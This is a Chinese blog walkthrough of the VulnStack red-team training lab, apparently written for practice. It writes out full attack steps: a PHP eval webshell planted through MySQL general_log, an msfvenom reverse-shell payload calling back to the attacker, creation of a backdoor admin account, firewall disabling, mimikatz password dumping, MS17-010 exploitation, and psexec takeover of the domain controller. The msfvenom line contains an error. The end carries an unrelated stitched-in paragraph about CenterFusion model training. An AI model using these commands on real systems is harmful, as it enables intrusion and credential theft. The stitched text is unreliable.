【红日安全-VulnStack】ATT_CK实战系列——红队实战(—)

一、环境搭建

1.1 靶场下载

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶机通用密码: hongrisec@2019

登进去要修改密码,改为 HONGRISEC@2019

1.2 网卡配置

kali一个nat网卡,模拟外网攻击机

win7一个nat网卡,一个VMnet 1网卡,模拟web服务器

3478c9db1ea13ce3d466bbb1a9314781.png

win2003一个VMnet 1网卡,模拟内网域成员主机

win2008一个VMnet 1网卡,模拟内网域控主机

拓朴图如下:

(win7为VM1,win2003为VM2,win2008为VM3)

632a8524bfe87b74fa3dfede3a5ee4e8.png

设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。

攻击机:

kali ip:192.168.168.133

win10 ip: 192.168.168.128

靶机:

win7 外网ip:192.168.168.134   内网ip:192.168.52.143

win03 ip: 192.168.52.141

win08 ip: 192.168.52.138

最后,在win7上使用phpstudy开启web服务。

配置完毕。

二、外网渗透

nmap扫描,发现开放了80、3306端口

f98d41ae56873e98de87ad2017e0f788.png

目录扫描

756f10c651ce34e777d78f68c2f12dca.png

先看一下phpmyadmin,访问,可以弱口令root/root登入

3043e423a382388cada45fd307f550f3.png

可以利用general_log和general_log_file拿shell

服务器绝对路径可以在phpinfo里找到

3cc533e7a60cc43c5f7ab3c55c95757c.png

修改general_log_file为Web服务下的文件

269f7be416cef9a39e6540452febc7e3.png

此时执行 select “<?php eval($_POST[‘cmd’]);?>”; 语句即可getshell

1ce7eb56949783fc8b389a204cfd9ffa.png

8aa3128800afd18e3f1e8695b837cf06.png

现在就已经拿到shell了。不过,我们现在还不着急往下走,基于学习的目的,我们看一下扫到的备份文件:

0a15690215ff77dd0f34c79a37611dd3.png

备份了yxcms的源代码,可以猜测目标网站服务器上搭建了yxcms,访问http://192.168.168.134/yxcms/

a216b0cfd1ee998e27841e46ecdb846b.png

然后可以在互联网上搜索一下yxcms的历史漏洞,看一下能不能利用。

不过,这里比较简单,直接告诉了我们后台地址和密码

4eed418e246e9d64b4632ddcc720b2bb.png

在前台模板->管理模板文件->index_index.php处可编辑,插入PHP代码

c6aced8e81eac5996a195bd7e5b40462.png

731e44285e08bc7e2cf9fc596b0966ce.png

这样第二种getshell的方式也出来了。

现在开始往下走。

三、内网渗透

3.1 尝试远程登录

查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况

861801c9d09866281bad5133aee3ffc0.png

手动开启3389:

我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

3c6148a44b70017426554458350802d5.png

添加用户

net user Yokan !@#123qwe!@# /add # 添加账户密码
net localgroup administrators Yokan /add # 给Yokan账户添加为管理员权限
net user Yokan # 查询是否成功添加Yokan用户

0c156d6da98f25f7e43edac645bd611f.png

使用账号:Yokan,密码:!@#123qwe!@# 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。

此时思路一般如下:

1.反弹一个msf的shell回来,尝试关闭防火墙

2.尝试使用隧道连接3389

因为是练习,所以两种方式都尝试一下

3.2 msf反弹shell

使用msfvenom生成payload文件,使用蚁剑上传到win7

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.168.133 LHOST=4444 -f exe > shell.exe

35f2607f962e7c8b5750fbb6c58209d9.png

msf开启监听,运行shell.exe,可以看到msf成功获得一个meterpreter

2195dc5b07fd996cae695fd5078bdade.png

4c2963d2edf10dcd3bfc69e9fdadefb5.png

尝试基础提权成功

18dab2a20fa8533d830a1e8d090a3282.png

开启远程桌面

run post/windows/manage/enable_rdp

bce0da7f5734e3a6ffc3dfcf560a8eaa.png

f1d0df6b69c09ef731ce69182817218e.png

会生成一个文件,该文件可用来 再关闭远程桌面

run multi_console_command -r 文件地址

d3651e23b08109400c5cade349768cbf.png

3.3 使用隧道连接3389

尝试第二种方式连接3389,在Sunny-Ngrok的官网 https://www.ngrok.cc/ 注册一个账号(可以通过这个软件实现使用外链访问电脑本地项目的功能),登录之后选择隧道管理->开通隧道->选择一个服务器(frp或者ngrok)->开通隧道并获得一个隧道id->下载客户端->打开客户端启动工具->输入隧道id->本地远程登录。

开通隧道时隧道名称随意写,本地端口写想要转发出去的计算机ip及端口(可以为局域网内任意机器映射,这里填入想要转发的win7的ip及端口)

939aab3231ddbbbd84e53d0a453ad34b.png

打开Sunny-Ngrok启动工具,输入隧道id,显示成功连接

4b2cc3c6c5ed74fd9e384133be7441d1.png

本地填入域名端口远程连接,可以成功登陆,关闭防火墙(Sunny-Ngrok启动工具需要一直开着)

使用netsh advfirewall set allprofiles state off来关闭防火墙

7936c9aa08490b489d3d667c47ad415a.png

因为远程登录会断开该主机当前的连接,为了不惊动管理员,这里不远程登录了

37651d91e39801f31c80be9397dfa49f.png

3.4使用mimikatz获取账号密码

方法一  蚁剑直接上传mimikatz

ac3004054215e4180e93158630d2b072.png

310666e8ff322d062ef2fc0eabfaea75.png

方法二  meterpreter

加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的

migrate PID

load mimikatz

mimikatz_command -f sekurlsa::searchPasswords

ps命令查看进程ID,一般选择explorer.exe对应的PID,但是这里它不是system权限,选择注入其他合法进程

成功获得账号 Administrator 密码 HONGRISEC@2019

9bb9eb196928da68947d418ab54b0759.png

3.5 派生Cobalt Strike权限

f54204cd44bac3a1d5fc82bc193ae803.png

b79125f6e7582416e6ce8b54bb125c16.png

3.6 域信息收集

渗透测试的本质是信息收集,先记录一些常用命令

net time /domain        #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
ipconfig /all        #查询本机IP段,所在域等
net config Workstation  #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user           #本机用户列表
net group "domain computers" /domain   #查看域内所有的主机名
net group "domain admins" /domain      #查看域管理员
net group "domain controllers" /domain #查看域控
net localgroup administrators          #本机管理员[通常含有域用户]
net user 用户名 /domain                 #获取指定用户的账户信息  
net group /domain                      #查询域里面的工作组
net group 组名 /domain                  #查询域中的某工作组

ipconfig /all看到有内网ip,有域

ddce160905d936d3591ec408a8b45923.png

查询域列表  net view /domain

919b3fa535e51b6163c3c27bf6540732.png

查询同域机器  net view

d691dcff4141f5e12392d1c3c3a34b06.png

判断主域 net time /domain

09fc3d91ea86ee4316f262ede81a4bef.png

查询域用户 net user /domain

268a85c93fb298ea1142039831c1404a.png

查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域    net config Workstation

a1f4e52af0e2554302f055beed9b6a8d.png

当前域中的计算机列表:  在cs中执行net view

7759606deb8fa05ca339d06761d6e26f.png

整理一下信息

域:god.org

域内有三个用户:Administrator、ligang、liukaifeng01

域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA

域控:OWA(192.168.52.138)

win7内网ip:192.168.52.143

四、横向移动

4.1 添加路由、挂socks4a代理

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

be0eab89b09e945354e2161d6900078f.png

添加内网路由 run autoroute -s 192.168.52.0/24

c5e18a65fff287082afc560e13b4b089.png

arp -a查看一下所有接口的当前 ARP 缓存表

807035ef4516d69547a00ef61348c3b1.png

设置代理,设置成功后打开其他程序需在前面加上proxychains

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  

msf5 auxiliary(server/socks4a) > set SRVPORT 1080
SRVPORT => 1080
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

然后打开/etc/proxychains.conf

d8bb261fe1d87488565fcfc89e68c42a.png

测试一下可以成功访问192.168.52.0网段

edf8493d740304cc32f69f23cc405928.png

4.2 拿下第二台主机

nmap扫描一下:

proxychains nmap -p 0-1000 -Pn -sT 192.168.52.141

7e60690cb29a2ccde32f431ec00a6084.png

deb2d2c50df076a70a9e715ce36c19e7.png

proxychains nmap -p 3389 -Pn -sT 192.168.52.141

50a1e4d6da69a7bd8f4cf50eb604e08f.png

proxychains nmap -Pn -sT 192.168.52.141

0b208b718e4785ce9c06a375402a975e.png

开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003

439facfb503559caec47cf816bf2ef8b.png

使用nmap --script=vuln 192.168.52.141  扫一下漏洞

使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞

73c182a4d97351ef38c71559b5922f65.png

三台机器都存在ms17-010

先看server2003这台主机

直接使用ms17-010打一个shell回来(这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏)

而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell。

这里,我们可以先使用auxiliary/admin/smb/ms17_010_command来执行一些命令

use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.52.141
set command net user Yokan !@#123qwe!@# /add #添加用户
run #成功执行
set command net localgroup administrators Yokan /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行

这里特别注意,因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下,会出现一些符号闭合上的问题

12ba6268cd266c8390a4cb1a684794cb.png

然后使用proxychains连接    proxychains rdesktop 192.168.52.141

f24f65a247f6cd3b78af03aa3db1c706.png

8decb194061d73e1671613aa5c6c1f16.png

然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来

正向shell

732843005ae216dbd9893d27a8a7e6e1.png

c8910e72e93d25b8ab8167273b7842cd.png

因为是2003的机器,直接getsystem便得到了system权限

1ab02d3837f3320bbd03384f9de1eb79.png

最后加载mimikatz模块获取账号密码

加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的

ps命令查看进程ID,一般选择explorer.exe对应的PID,但是这里它不是system权限,选择注入其他合法进程

migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

4.3 拿下域控

在前面我们已经拿到了域用户的帐号密码,即administrator、HONGRISEC@2019我们现在要做的就是如何登录到域控上去

定位到域控制器的ip为192.168.52.138

还是先利用smb扫描系统版本   auxiliary/scanner/smb/smb_version

bec30420859faa5c0ff56b0b96d48d5c.png

因为之前抓到了域管理的账号密码所以直接使用 exploit/windows/smb/psexec 模块拿下域控,且是管理员权限

9ca67a606076b14eeaf4b2ddd1b5f22a.png

0311baca5dc41100e90dbb795aa0e3f1.png

这段代码主要是用来训练一个名为CenterFusion的目标检测模型,使用了DDDet(一个基于PyTorch的目标检测框架)。其中: - export CUDA_DEVICE_ORDER=PCI_BUS_ID export CUDA_VISIBLE_DEVICES=0,1:设置使用哪些GPU进行训练。 - cd src # train:进入src目录下进行训练。 - python main.py:运行main.py文件,即训练脚本。 - ddd:指定使用的模型是DDDNet。 - --exp_id centerfusion:设置训练实验的名称为centerfusion。 - --shuffle_train:在每个epoch开始前,打乱训练集的样本顺序。 - --train_split mini_train:使用mini_train作为训练集。 - --val_split mini_val:使用mini_val作为验证集。 - --val_intervals 1:设置每隔1个epoch进行一次验证。 - --run_dataset_eval:在训练过程中进行数据集的评估。 - --nuscenes_att:使用nuscenes属性进行训练。 - --velocity:使用速度信息进行训练。 - --batch_size 24:设置batch size为24。 - --lr 2.5e-4:设置学习率为2.5e-4。 - --num_epochs 60:设置训练的总epoch数为60。 - --lr_step 50:设置学习率下降的epoch数。 - --save_point 20,40,50:设置保存模型的epoch数。 - --gpus 0:设置使用的GPU编号为0。 - --not_rand_crop:不使用随机裁剪。 - --flip 0.5:进行数据增强时,以0.5的概率进行翻转。 - --shift 0.1:进行数据增强时,以0.1的概率进行平移。 - --pointcloud:使用点云数据进行训练。 - --radar_sweeps 3:设置雷达扫描数为3。 - --pc_z_offset 0.0:设置点云高度偏移量为0.0。 - --pillar_dims 1.0,0.2,0.2:设置pillar的尺寸为1.0*0.2*0.2。 - --max_pc_dist 60.0:设置点云距离的最大值为60.0。 - --load_model ../models/centernet_baseline_e170.pth:加载已经训练好的centernet_baseline_e170.pth模型。 - # --freeze_backbone \:注释掉的代码,原本可以冻结骨干网络,使得训练更加稳定。 - # --resume \:注释掉的代码,原本可以从已经训练好的模型继续训练。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值